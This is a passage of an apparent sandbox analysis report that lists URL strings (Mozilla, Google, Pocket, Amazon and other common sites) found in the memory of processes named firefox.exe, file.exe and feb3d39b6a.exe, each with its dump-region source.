Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237958152.00000132AA86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237958152.00000132AA86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3245288155.00000132B69B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA737000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3279683763.00000132BB544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA737000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B61F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA2D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/This
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B61F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_RESET
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_RESETdiscoverystream.rec.impressionsdiscover
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB46A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3312097959.00000132C424D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3245288155.00000132B69B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C2437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpA
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsgetCanApplyUpdates
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshandleUpdateFailure
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/PrivateBrowsingUtils.sys.mj
Source: feb3d39b6a.exe, 00000016.00000003.3211134500.000000000579B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comnetwork.proxy.backup.socksbrowser.handlers.migrationshttps://screensho
Source: firefox.exe, 00000023.00000002.3311278425.00000132C41F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3200954375.00000132C41FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3292910030.00000132BDD9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000023.00000002.3281670424.00000132BBAB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3200954375.00000132C41FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3292910030.00000132BDD9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3127404594.00000132BAA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000023.00000002.3302865830.00000132C279C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3279683763.00000132BB544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208780144.00000132C279C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000023.00000002.3298965968.00000132C23E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3181822524.00000132C25C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3172041141.00000132C26B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3127404594.00000132BAA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/startup
Source: firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208033913.00000132C3C66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3127404594.00000132BAA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3203625245.00000132BBDC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3202991056.00000132C3C69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3CC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B618C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3312097959.00000132C424D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3317501385.00003A0D98B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3232903270.0000000CD927C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3245288155.00000132B690A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B6103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2593553859.0000000000295000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3183823867.00000132C3F10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2593553859.0000000000295000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2593553859.0000000000295000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2481142057.000000000BB74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3008632527.00000000056F0000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3211134500.000000000579B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3309555985.00000132C409F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarResult.sys.mjsresource://gre/modules/P
Source: file.exe, 00000000.00000003.2481142057.000000000BB74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3008632527.00000000056F0000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3211134500.000000000579B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3309555985.00000132C409F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2593553859.0000000000295000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3240579668.00000132B605F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2481142057.000000000BB74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3008632527.00000000056F0000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3211134500.000000000579B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C41E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2593553859.0000000000295000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3317907853.00003F4396A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3289593951.00000132BD2BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/findUpdates()
Source: firefox.exe, 00000023.00000002.3281670424.00000132BBAB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3200954375.00000132C41FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000023.00000002.3317907853.00003F4396A13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
